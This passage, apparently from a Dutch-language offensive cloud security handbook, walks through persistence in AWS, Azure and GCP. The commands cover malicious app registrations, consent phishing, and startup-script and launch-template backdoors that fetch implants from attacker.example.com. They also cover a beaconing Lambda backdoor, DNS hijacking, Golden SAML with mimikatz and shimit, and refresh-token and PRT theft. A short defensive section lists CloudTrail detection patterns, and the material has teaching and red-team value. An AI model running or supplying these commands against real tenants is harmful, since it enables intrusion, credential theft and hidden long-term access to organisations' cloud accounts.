    "Statement": [{
      "Effect": "Allow",
      "Principal": {"AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"},
      "Action": "sts:AssumeRole"
    }]
  }'
# Naam lijkt op een AWS service-linked role

IB Tip: De OrganizationAccountAccessRole is het cloud-equivalent van Domain Admin. Het wordt automatisch aangemaakt in elk member account en geeft het management account volledige toegang. Als een aanvaller het management account compromitteert, heeft hij effectief toegang tot alle accounts in de organisatie. Verwijder of hernoem deze role in productie-accounts en gebruik in plaats daarvan specifieke, gelimiteerde cross-account roles.

10.3 OAuth en App Registration Persistentie

Azure: Malicious App Registrations

Azure AD App Registrations zijn een van de meest effectieve persistentiemechanismen in Azure. Een app met de juiste API-permissions kan data lezen, users beheren en configuraties wijzigen – allemaal zonder interactieve login.

# Creeer een app registration
az ad app create \
  --display-name "Microsoft Graph Connector" \
  --sign-in-audience "AzureADMyOrg"
# Naam lijkt op een Microsoft-product

APP_ID=$(az ad app list --display-name "Microsoft Graph Connector" --query '[0].appId' -o tsv)

# Voeg een client secret toe (geldig voor max 2 jaar)
az ad app credential reset \
  --id "$APP_ID" \
  --append \
  --years 2 \
  --display-name "Production key"

# Creeer een service principal
az ad sp create --id "$APP_ID"

# Voeg API permissions toe
# Microsoft Graph: Mail.Read, User.Read.All, Directory.Read.All
az ad app permission add \
  --id "$APP_ID" \
  --api 00000003-0000-0000-c000-000000000000 \
  --api-permissions \
    570282fd-fa5c-430d-a7fd-fc8dc98a9dca=Role \
    df021288-bdef-4463-88db-98f22de89214=Role \
    7ab1d382-f21e-4acd-a863-ba3e13f7da61=Role

# Grant admin consent (als je Global Admin bent)
az ad app permission admin-consent --id "$APP_ID"

Gebruik de app voor persistente toegang:

# Authenticeer met de app credentials (geen MFA nodig!)
az login --service-principal \
  -u "$APP_ID" \
  -p "CLIENT_SECRET" \
  --tenant "TENANT_ID"

# Of via de Microsoft Graph API
TOKEN=$(curl -s -X POST \
  "https://login.microsoftonline.com/TENANT_ID/oauth2/v2.0/token" \
  -d "client_id=$APP_ID" \
  -d "client_secret=CLIENT_SECRET" \
  -d "scope=https://graph.microsoft.com/.default" \
  -d "grant_type=client_credentials" \
  | jq -r '.access_token')

# Lees alle users
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/users" | jq '.value[].displayName'

# Lees email
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/users/target@company.com/messages" | jq .

In plaats van admin consent kun je ook users verleiden om consent te geven aan een malicious app.

# Creeer een app die delegated permissions vraagt
az ad app create \
  --display-name "Teams Productivity Helper" \
  --web-redirect-uris "https://attacker.example.com/callback" \
  --sign-in-audience "AzureADMultipleOrgs"

# Voeg delegated permissions toe (User.Read is standaard)
az ad app permission add \
  --id "$APP_ID" \
  --api 00000003-0000-0000-c000-000000000000 \
  --api-permissions \
    e1fe6dd8-ba31-4d61-89e7-88639da4683d=Scope \
    14dad69e-099b-42c9-810b-d002981feec1=Scope \
    89fe6a52-be36-487e-b7d8-d061c450a026=Scope
# User.Read, profile, openid

# Genereer de consent URL
echo "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=$APP_ID&response_type=code&redirect_uri=https://attacker.example.com/callback&scope=User.Read+Mail.Read+offline_access&response_mode=query"

# Wanneer een user consent geeft, ontvang je een authorization code
# Wissel deze in voor tokens
curl -s -X POST \
  "https://login.microsoftonline.com/TENANT_ID/oauth2/v2.0/token" \
  -d "client_id=$APP_ID" \
  -d "client_secret=SECRET" \
  -d "code=AUTHORIZATION_CODE" \
  -d "redirect_uri=https://attacker.example.com/callback" \
  -d "grant_type=authorization_code" \
  | jq .

# Het refresh_token is je persistentie-mechanisme!
# Geldig voor 90 dagen (standaard) en vernieuwbaar

AWS: Identity Providers

# Registreer een SAML Identity Provider in AWS
# Met een zelf-beheerd certificaat
aws iam create-saml-provider \
  --saml-metadata-document file://evil-idp-metadata.xml \
  --name "CorporateSSO-DR"

# Creeer een role die deze IdP vertrouwt
aws iam create-role \
  --role-name SSOFederatedAccess \
  --assume-role-policy-document '{
    "Version": "2012-10-17",
    "Statement": [{
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::111111111111:saml-provider/CorporateSSO-DR"
      },
      "Action": "sts:AssumeRoleWithSAML",
      "Condition": {
        "StringEquals": {
          "SAML:aud": "https://signin.aws.amazon.com/saml"
        }
      }
    }]
  }'

aws iam attach-role-policy \
  --role-name SSOFederatedAccess \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Nu kun je SAML assertions genereren met je eigen IdP
# en daarmee de SSOFederatedAccess role assumen
# GCP OAuth2 client credentials voor persistentie
# Creeer een OAuth client
gcloud alpha iap oauth-clients create \
  --display-name="Monitoring Integration" \
  "projects/PROJECT_ID/brands/BRAND_ID"

# Of via de API
curl -X POST \
  "https://iap.googleapis.com/v1/projects/PROJECT_NUMBER/brands/BRAND_ID/identityAwareProxyClients" \
  -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  -H "Content-Type: application/json" \
  -d '{"displayName": "Internal Monitoring"}'

IB Tip: Azure AD App Registrations zijn de #1 persistentie-vector in Azure-omgevingen. Ze overleven wachtwoord-resets, MFA-wijzigingen en zelfs conditional access policies (want ze gebruiken client credentials, niet interactieve login). Audit regelmatig: az ad app list --all --query '[].{name:displayName, created:createdDateTime, permissions:requiredResourceAccess}'

10.4 Compute-Based Persistentie

EC2 User Data Scripts

EC2 instances voeren user data scripts uit bij de eerste boot (en optioneel bij elke boot). Dit is een klassiek persistentie-mechanisme.

# Bekijk de huidige user data van een instance
aws ec2 describe-instance-attribute \
  --instance-id i-0abc123def456789 \
  --attribute userData \
  --query 'UserData.Value' --output text | base64 -d

# Modificeer de user data (instance moet gestopt zijn)
# Stap 1: Stop de instance
aws ec2 stop-instances --instance-ids i-0abc123def456789

# Stap 2: Wijzig de user data
USERDATA=$(cat <<'SCRIPT' | base64
#!/bin/bash
# Origineel script...
apt-get update && apt-get install -y nginx

# Backdoor: download en start een reverse shell bij elke boot
curl -s https://attacker.example.com/implant -o /usr/local/bin/.update-service
chmod +x /usr/local/bin/.update-service
cat > /etc/systemd/system/system-update.service << 'EOF'
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/bin/.update-service
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF
systemctl enable system-update.service
systemctl start system-update.service
SCRIPT
)

aws ec2 modify-instance-attribute \
  --instance-id i-0abc123def456789 \
  --user-data "Value=$USERDATA"

# Stap 3: Start de instance weer
aws ec2 start-instances --instance-ids i-0abc123def456789

Azure VM Extensions

Azure VM Extensions draaien scripts op VM’s – en ze zijn beheerbaar via de Azure API.

# Bekijk bestaande extensions
az vm extension list --vm-name target-vm --resource-group target-rg

# Installeer een custom script extension (Linux)
az vm extension set \
  --resource-group target-rg \
  --vm-name target-vm \
  --name customScript \
  --publisher Microsoft.Azure.Extensions \
  --version 2.1 \
  --settings '{
    "commandToExecute": "curl -s https://attacker.example.com/implant | bash"
  }'

# Windows variant
az vm extension set \
  --resource-group target-rg \
  --vm-name target-win-vm \
  --name CustomScriptExtension \
  --publisher Microsoft.Compute \
  --version 1.10 \
  --settings '{
    "commandToExecute": "powershell -enc BASE64_ENCODED_COMMAND"
  }'

# De extension blijft geinstalleerd en kan opnieuw worden getriggerd
# Bekijk de status
az vm extension show \
  --resource-group target-rg \
  --vm-name target-vm \
  --name customScript

GCE Startup Scripts

# Bekijk de huidige startup script
gcloud compute instances describe target-instance \
  --zone europe-west1-b \
  --format="value(metadata.items[key='startup-script'].value)"

# Stel een startup script in
gcloud compute instances add-metadata target-instance \
  --zone europe-west1-b \
  --metadata startup-script='#!/bin/bash
# Legitimate looking startup
echo "Starting application..."

# Backdoor
if [ ! -f /tmp/.init_done ]; then
  curl -s https://attacker.example.com/gcp-implant -o /usr/local/sbin/health-monitor
  chmod +x /usr/local/sbin/health-monitor
  /usr/local/sbin/health-monitor &
  touch /tmp/.init_done
fi
'

# Of via een GCS URL (minder opvallend)
gcloud compute instances add-metadata target-instance \
  --zone europe-west1-b \
  --metadata startup-script-url='gs://internal-scripts/startup.sh'
# Waar startup.sh jouw backdoor bevat

Auto-Scaling Launch Templates

Launch templates definiëren hoe nieuwe instances worden gecreeerd. Wijzig de template en elke nieuwe instance bevat je backdoor.

# Bekijk bestaande launch templates
aws ec2 describe-launch-templates

# Haal de huidige versie op
aws ec2 describe-launch-template-versions \
  --launch-template-id lt-0abc123def456789 \
  --versions '$Latest'

# Creeer een nieuwe versie met gewijzigde user data
aws ec2 create-launch-template-version \
  --launch-template-id lt-0abc123def456789 \
  --source-version 1 \
  --launch-template-data '{
    "UserData": "'$(base64 <<< '#!/bin/bash
# Original user data...
# Plus backdoor
curl -s https://attacker.example.com/asg-implant | bash
')'"
  }' \
  --version-description "Security patch update"

# Stel de nieuwe versie in als default
aws ec2 modify-launch-template \
  --launch-template-id lt-0abc123def456789 \
  --default-version 2

# Bij de volgende scale-out krijgt elke nieuwe instance de backdoor

IB Tip: Auto-scaling launch templates zijn een bijzonder effectief persistentie-mechanisme. Zelfs als het IR-team alle draaiende instances opruimt, creert de auto-scaler nieuwe instances met de backdoor. Check altijd de launch templates en launch configurations als onderdeel van incident response: aws ec2 describe-launch-template-versions --launch-template-id lt-xxx --versions '$Latest' --query 'LaunchTemplateVersions[0].LaunchTemplateData.UserData' --output text | base64 -d

10.5 Serverless Persistentie

Lambda Triggers met CloudWatch Events / EventBridge

EventBridge rules kunnen Lambda-functies op een schema triggeren – de cloud-versie van een cron job.

# Creeer een Lambda functie als backdoor
aws lambda create-function \
  --function-name CloudWatch-MetricCollector \
  --runtime python3.11 \
  --handler index.handler \
  --role arn:aws:iam::111111111111:role/LambdaExecutionRole \
  --zip-file fileb://backdoor.zip \
  --timeout 60

# Creeer een EventBridge rule die elke 6 uur triggert
aws events put-rule \
  --name MetricCollection-Schedule \
  --schedule-expression "rate(6 hours)" \
  --state ENABLED \
  --description "Collect CloudWatch metrics for dashboard"

# Koppel de Lambda aan de rule
aws events put-targets \
  --rule MetricCollection-Schedule \
  --targets '[{
    "Id": "MetricCollector",
    "Arn": "arn:aws:lambda:eu-west-1:111111111111:function:CloudWatch-MetricCollector"
  }]'

# Geef EventBridge toestemming om de Lambda aan te roepen
aws lambda add-permission \
  --function-name CloudWatch-MetricCollector \
  --statement-id EventBridge-Invoke \
  --action lambda:InvokeFunction \
  --principal events.amazonaws.com \
  --source-arn arn:aws:events:eu-west-1:111111111111:rule/MetricCollection-Schedule

De backdoor Lambda:

# index.py -- lijkt op een metric collector
import boto3
import json
import os
import urllib.request

def handler(event, context):
    # "Legitimate" metric collection
    cw = boto3.client('cloudwatch')
    metrics = cw.list_metrics(Namespace='AWS/EC2')

    # Backdoor: exfiltreer credentials en check voor commands
    try:
        # Check-in bij C2
        data = json.dumps({
            "account": boto3.client('sts').get_caller_identity()['Account'],
            "role": os.environ.get('AWS_LAMBDA_FUNCTION_NAME'),
            "region": os.environ.get('AWS_REGION'),
        }).encode()

        req = urllib.request.Request(
            "https://metrics-api.attacker.example.com/v1/collect",
            data=data,
            headers={"Content-Type": "application/json"}
        )
        resp = urllib.request.urlopen(req, timeout=5)
        cmd = json.loads(resp.read())

        # Voer commands uit als die er zijn
        if cmd.get('action') == 'enumerate':
            iam = boto3.client('iam')
            users = iam.list_users()['Users']
            # ... rapporteer terug
    except Exception:
        pass  # Fail silently

    return {"metrics_collected": len(metrics.get('Metrics', []))}

S3 Event Triggers

# Configureer een S3 bucket notification die een Lambda triggert
# bij elke upload (persistent monitoring van data)

aws s3api put-bucket-notification-configuration \
  --bucket sensitive-data-bucket \
  --notification-configuration '{
    "LambdaFunctionConfigurations": [{
      "Id": "DataClassification",
      "LambdaFunctionArn": "arn:aws:lambda:eu-west-1:111111111111:function:DataClassifier",
      "Events": ["s3:ObjectCreated:*"],
      "Filter": {
        "Key": {
          "FilterRules": [{
            "Name": "suffix",
            "Value": ".csv"
          }]
        }
      }
    }]
  }'

# De Lambda kopieert interessante bestanden naar een externe bucket

Azure Automation Runbooks

Azure Automation Runbooks draaien PowerShell of Python scripts op een schema. Ze zijn ideaal voor persistentie omdat ze er uitzien als legitieme automatisering.

# Creeer een automation account (als dat nog niet bestaat)
az automation account create \
  --name "IT-Automation" \
  --resource-group mgmt-rg \
  --location westeurope

# Creeer een runbook
az automation runbook create \
  --automation-account-name "IT-Automation" \
  --resource-group mgmt-rg \
  --name "Compliance-Check" \
  --type PowerShell \
  --description "Weekly compliance verification"

# Upload het runbook script
az automation runbook replace-content \
  --automation-account-name "IT-Automation" \
  --resource-group mgmt-rg \
  --name "Compliance-Check" \
  --content @compliance-check.ps1

# Publiceer het runbook
az automation runbook publish \
  --automation-account-name "IT-Automation" \
  --resource-group mgmt-rg \
  --name "Compliance-Check"

# Creeer een schedule
az automation schedule create \
  --automation-account-name "IT-Automation" \
  --resource-group mgmt-rg \
  --name "Weekly-Compliance" \
  --frequency Week \
  --interval 1 \
  --start-time "2026-03-08T02:00:00+01:00" \
  --description "Weekly compliance scan"

# Koppel het runbook aan het schedule
az automation job-schedule create \
  --automation-account-name "IT-Automation" \
  --resource-group mgmt-rg \
  --runbook-name "Compliance-Check" \
  --schedule-name "Weekly-Compliance"

GCP Cloud Scheduler

# Creeer een Cloud Scheduler job die een Cloud Function triggert
gcloud scheduler jobs create http compliance-scan \
  --schedule="0 */6 * * *" \
  --uri="https://europe-west1-project-id.cloudfunctions.net/compliance-scanner" \
  --http-method=POST \
  --message-body='{"scan_type": "full"}' \
  --oidc-service-account-email="scheduler-sa@project.iam.gserviceaccount.com" \
  --location=europe-west1 \
  --description="Regular compliance scanning"

# Of trigger een Pub/Sub topic
gcloud scheduler jobs create pubsub data-sync \
  --schedule="*/30 * * * *" \
  --topic="data-processing" \
  --message-body='{"sync": true}' \
  --location=europe-west1

10.6 Storage-Based Persistentie

S3 Event Notifications als Trigger

S3 event notifications zijn niet alleen een aanvalsvector voor event injection – ze zijn ook een persistentie-mechanisme.

# Creeer een Lambda die getriggerd wordt door uploads naar een veelgebruikte bucket
# Elke keer dat iemand een bestand uploadt, draait jouw code

aws s3api put-bucket-notification-configuration \
  --bucket company-shared-files \
  --notification-configuration '{
    "LambdaFunctionConfigurations": [{
      "Id": "FileProcessor",
      "LambdaFunctionArn": "arn:aws:lambda:eu-west-1:111111111111:function:FileIndexer",
      "Events": ["s3:ObjectCreated:*"]
    }]
  }'

# De Lambda:
# 1. Indexeert het bestand (legitieme functie)
# 2. Kopieert interessante bestanden naar een attacker-bucket
# 3. Rapporteert terug naar C2

Azure Blob Storage Triggers

# Azure Function met Blob Storage trigger
# In function.json:
# {
#   "bindings": [{
#     "name": "inputBlob",
#     "type": "blobTrigger",
#     "direction": "in",
#     "path": "uploads/{name}",
#     "connection": "AzureWebJobsStorage"
#   }]
# }

# Elke upload naar de 'uploads' container triggert de functie
# De functie kan de data exfiltreren

Lifecycle Policies als Timer

S3 Lifecycle policies kunnen objecten verplaatsen of verwijderen na een bepaalde periode. Creatief gebruikt, kunnen ze als timer fungeren.

# Creeer een lifecycle policy die een object na 30 dagen naar Glacier verplaatst
# De transitie triggert een S3 event notification
aws s3api put-bucket-lifecycle-configuration \
  --bucket timer-bucket \
  --lifecycle-configuration '{
    "Rules": [{
      "ID": "ArchiveOldFiles",
      "Status": "Enabled",
      "Filter": {"Prefix": "timer/"},
      "Transitions": [{
        "Days": 30,
        "StorageClass": "GLACIER"
      }]
    }]
  }'

# Upload een "timer" object
aws s3 cp /dev/null s3://timer-bucket/timer/trigger-20260302

# Na 30 dagen triggert de transitie een event
# Dat event triggert een Lambda
# Die Lambda voert je persistentie-actie uit
# En creert een nieuw timer-object (herhalende cyclus)

IB Tip: Storage-gebaseerde persistentie is bijzonder lastig te detecteren omdat het gebruik maakt van normale, verwachte functionaliteit. Wie controleert de S3 event notification configuratie van elke bucket? Of de lifecycle policies? De enige manier om dit te vinden is een volledige configuratie-audit, of CloudTrail-alerts op s3:PutBucketNotificationConfiguration en s3:PutBucketLifecycleConfiguration.

10.7 DNS en Domain Persistentie

Route53 Record Manipulation

DNS-records zijn een vaak over het hoofd gezien persistentie-mechanisme. Een gewijzigd A-record of CNAME kan verkeer omleiden naar een aanvaller-gecontroleerde server.

# Bekijk alle hosted zones
aws route53 list-hosted-zones

# Bekijk records in een zone
aws route53 list-resource-record-sets \
  --hosted-zone-id /hostedzone/Z1234567890

# Voeg een subdomain toe dat naar je C2 wijst
aws route53 change-resource-record-sets \
  --hosted-zone-id /hostedzone/Z1234567890 \
  --change-batch '{
    "Changes": [{
      "Action": "UPSERT",
      "ResourceRecordSet": {
        "Name": "internal-api.company.com",
        "Type": "A",
        "TTL": 300,
        "ResourceRecords": [{"Value": "ATTACKER_IP"}]
      }
    }]
  }'

# Of creeer een wildcard record
aws route53 change-resource-record-sets \
  --hosted-zone-id /hostedzone/Z1234567890 \
  --change-batch '{
    "Changes": [{
      "Action": "UPSERT",
      "ResourceRecordSet": {
        "Name": "*.dev.company.com",
        "Type": "CNAME",
        "TTL": 300,
        "ResourceRecords": [{"Value": "attacker-infra.example.com"}]
      }
    }]
  }'

Azure DNS Zone Abuse

# Bekijk DNS zones
az network dns zone list --query '[].{name:name, rg:resourceGroup}'

# Voeg een record toe
az network dns record-set a add-record \
  --resource-group dns-rg \
  --zone-name company.com \
  --record-set-name vpn-backup \
  --ipv4-address ATTACKER_IP

# Wijzig een MX record (email omleiding)
az network dns record-set mx add-record \
  --resource-group dns-rg \
  --zone-name company.com \
  --record-set-name mail-backup \
  --exchange attacker-smtp.example.com \
  --preference 5

Subdomain Takeover

Subdomain takeover is een persistentie-techniek waarbij je een subdomain overneemt dat verwijst naar een niet meer bestaande resource.

# Zoek naar dangling DNS records
# CNAME records die verwijzen naar cloud services

# AWS
aws route53 list-resource-record-sets \
  --hosted-zone-id /hostedzone/Z1234567890 \
  --query 'ResourceRecordSets[?Type==`CNAME`].{Name:Name,Target:ResourceRecords[0].Value}' \
  | jq '.[] | select(.Target | test("amazonaws|azurewebsites|cloudapp|herokuapp|github|s3"))'

# Check of de targets nog bestaan
for target in $(aws route53 list-resource-record-sets \
  --hosted-zone-id /hostedzone/Z1234567890 \
  --query 'ResourceRecordSets[?Type==`CNAME`].ResourceRecords[0].Value' \
  --output text); do
  echo -n "$target: "
  host "$target" 2>&1 | head -1
done

# Als een CNAME verwijst naar een S3 bucket die niet meer bestaat:
# Creeer die bucket in je eigen account
aws s3 mb s3://company-old-website --region eu-west-1

# Nu serveert jouw bucket content op company-old-website.company.com

10.8 Golden SAML en Token Persistentie

ADFS Signing Certificate Theft

De Golden SAML-aanval is wellicht de meest robuuste persistentie-techniek in een hybride omgeving. Met het ADFS token-signing certificaat kun je SAML-tokens genereren voor elke gebruiker, inclusief Global Admins, zonder hun wachtwoord te kennen.

# Op de ADFS server (vereist admin access):

# Methode 1: Export via PowerShell
$cert = Get-AdfsCertificate -CertificateType Token-Signing
Export-PfxCertificate -Cert "Cert:\LocalMachine\My\$($cert.Certificate.Thumbprint)" `
  -FilePath "C:\temp\adfs-signing.pfx" `
  -Password (ConvertTo-SecureString -String "ExportPassword" -Force -AsPlainText)

# Methode 2: ADFSDump
.\ADFSDump.exe /domain:corp.local /server:adfs01.corp.local

# Methode 3: Mimikatz (als het certificaat in de Windows Certificate Store staat)
mimikatz.exe "crypto::certificates /systemstore:local_machine /export" exit

# Methode 4: Via de ADFS configuration database (WID of SQL)
# De DKM key decrypts de signing certificate
# Haal de DKM container op uit AD
$adfs = Get-WmiObject -Namespace root\ADFS -Class SecurityTokenService
$adfs.ConfigurationDatabaseConnectionString
# Lees de EncryptedPfx uit de configuratiedatabase

Forged SAML Assertions

# Met het gestolen certificaat kun je SAML assertions forgen

# Gebruik shimit (Python)
python3 shimit.py \
  -idp "http://adfs.corp.local/adfs/services/trust" \
  -spn "urn:federation:MicrosoftOnline" \
  -cert stolen-adfs-signing.pfx \
  -u "ceo@company.com" \
  -n "CEO Name" \
  -r "Global Administrator" \
  -id "_$(python3 -c 'import uuid; print(uuid.uuid4())')" \
  -o golden_saml.b64

# Dit geeft je een B64-encoded SAML response
# Die je kunt gebruiken om in te loggen als elke gebruiker

# Gebruik de SAML assertion om een access token te krijgen
# Via browser (post naar de Azure AD SAML endpoint)
# Of via tools die SAML assertions verwerken

Refresh Token Abuse

OAuth2 refresh tokens zijn long-lived en kunnen worden gebruikt om nieuwe access tokens te genereren. Ze overleven wachtwoord-resets (in sommige configuraties).

# Stap 1: Verkrijg een refresh token via phishing, token theft, etc.

# Stap 2: Gebruik het refresh token om een nieuw access token te krijgen
curl -s -X POST \
  "https://login.microsoftonline.com/TENANT_ID/oauth2/v2.0/token" \
  -d "client_id=APP_ID" \
  -d "grant_type=refresh_token" \
  -d "refresh_token=STOLEN_REFRESH_TOKEN" \
  -d "scope=https://graph.microsoft.com/.default offline_access" \
  | jq .

# Het response bevat:
# - Een nieuw access_token (korte levensduur, ~1 uur)
# - Een nieuw refresh_token (lange levensduur, tot 90 dagen)
# - De nieuwe refresh_token verlengt de levensduur weer

# Stap 3: Automatiseer het vernieuwen
# Sla het refresh token veilig op en vernieuw het regelmatig
# Zolang je het binnen de lifetime vernieuwt, blijf je toegang houden

Primary Refresh Token (PRT) theft:

# Een PRT is het krachtigste token in Azure AD
# Het geeft SSO-toegang tot alle Azure AD-connected resources

# Methode 1: Mimikatz (op een Azure AD joined device)
mimikatz.exe "sekurlsa::cloudap" exit
# Geeft de PRT en session key

# Methode 2: ROADtools (Python)
# pip install roadtools
roadtx prt -a devicecode
# Of met gestolen PRT:
roadtx prt -r PRT_VALUE -s SESSION_KEY
roadtx browserprtauth  # Start een browser met het PRT

IB Tip: Golden SAML overleeft alles behalve het roteren van het ADFS token-signing certificaat. En dat certificaat roteren is een operatie die de meeste organisaties nooit doen – omdat het alle bestaande federatie-relaties breekt. Het is de ultieme persistentie: de enige remedie is pijnlijker dan de aanval zelf. Plan regelmatige certificaatrotatie en test het herstelproces.

Verdedigingsmaatregelen

CloudTrail Monitoring

# CloudTrail events die op persistentie kunnen wijzen
# IAM-gerelateerde events
aws logs filter-log-events \
  --log-group-name CloudTrail/management-events \
  --filter-pattern '{
    ($.eventName = "CreateUser") ||
    ($.eventName = "CreateAccessKey") ||
    ($.eventName = "CreateRole") ||
    ($.eventName = "UpdateAssumeRolePolicy") ||
    ($.eventName = "AttachUserPolicy") ||
    ($.eventName = "AttachRolePolicy") ||
    ($.eventName = "PutUserPolicy") ||
    ($.eventName = "PutRolePolicy") ||
    ($.eventName = "CreateLoginProfile") ||
    ($.eventName = "CreateSAMLProvider")
  }'

# Lambda en EventBridge events
aws logs filter-log-events \
  --log-group-name CloudTrail/management-events \
  --filter-pattern '{
    ($.eventName = "CreateFunction*") ||
    ($.eventName = "UpdateFunctionCode*") ||
    ($.eventName = "PutRule") ||
    ($.eventName = "PutTargets") ||
    ($.eventName = "AddPermission")
  }'

# Compute persistence events
aws logs filter-log-events \
  --log-group-name CloudTrail/management-events \
  --filter-pattern '{
    ($.eventName = "ModifyInstanceAttribute") ||
    ($.eventName = "CreateLaunchTemplateVersion") ||
    ($.eventName = "PutBucketNotificationConfiguration")
  }'

Azure AD Audit Logs

# Monitor app registrations en consent grants
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/auditLogs/directoryAudits?\$filter=activityDisplayName eq 'Add application' or activityDisplayName eq 'Consent to application' or activityDisplayName eq 'Add service principal credentials'&\$top=50" \
  | jq '.value[] | {activity: .activityDisplayName, time: .activityDateTime, actor: .initiatedBy.user.userPrincipalName}'

# Monitor role assignments
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/auditLogs/directoryAudits?\$filter=activityDisplayName eq 'Add member to role'&\$top=50" \
  | jq '.value[] | {time: .activityDateTime, actor: .initiatedBy.user.userPrincipalName, target: .targetResources[0].displayName}'

Access Key Rotation

# Forceer access key rotation met een maximum leeftijd
# Script: vind en rapporteer oude access keys
aws iam generate-credential-report
aws iam get-credential-report --query Content --output text | base64 -d | \
  awk -F',' 'NR>1 {
    if ($9 == "true" && $10 != "N/A") {
      split($10, a, "T");
      print "User: "$1, "Key 1 last rotated:", a[1]
    }
    if ($14 == "true" && $15 != "N/A") {
      split($15, a, "T");
      print "User: "$1, "Key 2 last rotated:", a[1]
    }
  }'

# Deactiveer keys ouder dan 90 dagen
for user in $(aws iam list-users --query 'Users[].UserName' --output text); do
  for key in $(aws iam list-access-keys --user-name "$user" --query 'AccessKeyMetadata[?Status==`Active`].AccessKeyId' --output text); do
    created=$(aws iam list-access-keys --user-name "$user" --query "AccessKeyMetadata[?AccessKeyId=='$key'].CreateDate" --output text)
    age=$(( ($(date +%s) - $(date -d "$created" +%s)) / 86400 ))
    if [ "$age" -gt 90 ]; then
      echo "ALERT: $user has key $key that is $age days old"
      # aws iam update-access-key --user-name "$user" --access-key-id "$key" --status Inactive
    fi
  done
done

Conditional Access

# Azure: Conditional Access policy die service principal access beperkt
az rest --method POST \
  --url "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" \
  --body '{
    "displayName": "Restrict service principal locations",
    "state": "enabled",
    "conditions": {
      "clientApplications": {
        "includeServicePrincipals": ["All"]
      },
      "locations": {
        "includeLocations": ["All"],
        "excludeLocations": ["KNOWN_IP_RANGES"]
      }
    },
    "grantControls": {
      "operator": "OR",
      "builtInControls": ["block"]
    }
  }'

Referentietabel

Techniek MITRE ATT&CK AWS Azure GCP
Extra access keys T1098.001 - Additional Cloud Credentials iam:CreateAccessKey App credential addition Service account key creation
Backdoor IAM user/role T1136.003 - Cloud Account iam:CreateUser, iam:CreateRole az ad user create gcloud iam service-accounts create
Trust policy manipulation T1484.002 - Trust Modification iam:UpdateAssumeRolePolicy External identity providers Workload Identity pool trust
OAuth app registration T1098.003 - Additional Cloud Roles SAML/OIDC provider App Registration + consent OAuth2 client credentials
Compute startup scripts T1059 - Command and Scripting EC2 User Data VM Extensions GCE startup-script
Launch template poisoning T1525 - Implant Internal Image ec2:CreateLaunchTemplateVersion VMSS model update Instance template modification
Scheduled Lambda trigger T1053.007 - Container Orchestration Job EventBridge + Lambda Automation Runbooks Cloud Scheduler + Functions
Storage event trigger T1546 - Event Triggered Execution S3 notifications + Lambda Blob trigger + Function GCS notification + Function
DNS record manipulation T1584.002 - DNS Server Route53 record sets Azure DNS records Cloud DNS records
Subdomain takeover T1584.001 - Domains Dangling S3/EB CNAMEs Dangling Azure CNAMEs Dangling GCP CNAMEs
Golden SAML T1606.002 - SAML Tokens SAML IdP certificate theft ADFS signing cert theft SAML IdP compromise
Refresh token persistence T1550.001 - Application Access Token Cognito refresh tokens Azure AD refresh tokens Google OAuth refresh tokens
Lifecycle policy abuse T1053.007 - Container Orchestration Job S3 Lifecycle + notifications Blob lifecycle + triggers GCS lifecycle + notifications
Cross-account role backdoor T1098.003 - Additional Cloud Roles Cross-account trust policy Lighthouse delegation Cross-project SA impersonation
Automation runbook T1053.005 - Scheduled Task Lambda + EventBridge Automation Account + Runbook Cloud Scheduler job
Primary Refresh Token theft T1528 - Steal Application Access Token N/A PRT extraction (Mimikatz) N/A

De beste persistentie is de persistentie die er uitziet als een feature. En in de cloud is het verschil tussen een feature en een backdoor vaak niet meer dan de intentie van degene die het heeft geconfigureerd.

Cloud Detectie Ontwijken

Cloud Detectie Ontwijken

Waarin we leren dat de cloud alles logt – behalve de dingen die ertoe doen

Er bestaat een wijdverbreid geloof in de security-industrie dat de cloud inherent beter te monitoren is dan een on-premise omgeving. En op papier klopt dat. CloudTrail logt elke API-call. Azure Monitor vangt elke management-actie. GCP Cloud Audit Logs registreert elke administratieve operatie. Het is een auditor’s droom.

De werkelijkheid is – zoals altijd – wat genuanceerder. Ja, de cloud logt veel. Maar “veel loggen” is niet hetzelfde als “alles loggen.” Er zijn gaten. Blinde vlekken. Hele categorieen van activiteiten die simpelweg niet worden geregistreerd. En zelfs als iets wel wordt gelogd, moet iemand die logs ook daadwerkelijk lezen. Een CloudTrail die naar een S3-bucket schrijft waar niemand naar kijkt, is net zo nuttig als een beveiligingscamera die naar een muur wijst.

Dit hoofdstuk gaat over die gaten. Over wat er niet wordt gelogd, hoe je logging kunt ontwijken, en hoe je – als verdediger – die blinde vlekken kunt dichten. Het is tegelijkertijd een handleiding en een waarschuwing.

IB Tip: De eerste stap in cloud evasion is niet het ontwijken van logging – het is het begrijpen van wat er wordt gelogd. Lees de documentatie van CloudTrail, Azure Monitor en GCP Audit Logs. Begrijp welke events management events zijn en welke data events. Begrijp welke services standaard worden gelogd en welke niet. De gaten zitten in de details.

11.1 Cloud Logging Landschap

AWS CloudTrail

CloudTrail is de backbone van AWS-logging. Het registreert API-calls naar AWS-services.

CloudTrail Event Types:
+----------------------------+----------------------------------+-------------------+
| Type                       | Wat wordt gelogd                 | Standaard actief? |
+----------------------------+----------------------------------+-------------------+
| Management Events          | Control plane operaties          | Ja                |
|                            | (CreateBucket, RunInstances,     |                   |
|                            |  AssumeRole, etc.)               |                   |
+----------------------------+----------------------------------+-------------------+
| Data Events                | Data plane operaties             | NEE               |
|                            | (S3 GetObject/PutObject,         |                   |
|                            |  Lambda Invoke, DynamoDB         |                   |
|                            |  GetItem/PutItem)                |                   |
+----------------------------+----------------------------------+-------------------+
| Insights Events            | Anomalie-detectie op API-volume  | NEE               |
|                            | (ongebruikelijke pieken)         |                   |
+----------------------------+----------------------------------+-------------------+
| Network Activity Events    | VPC-gerelateerde API calls       | NEE               |
|                            | (nieuw sinds 2024)               |                   |
+----------------------------+----------------------------------+-------------------+
# Bekijk de huidige CloudTrail configuratie
aws cloudtrail describe-trails

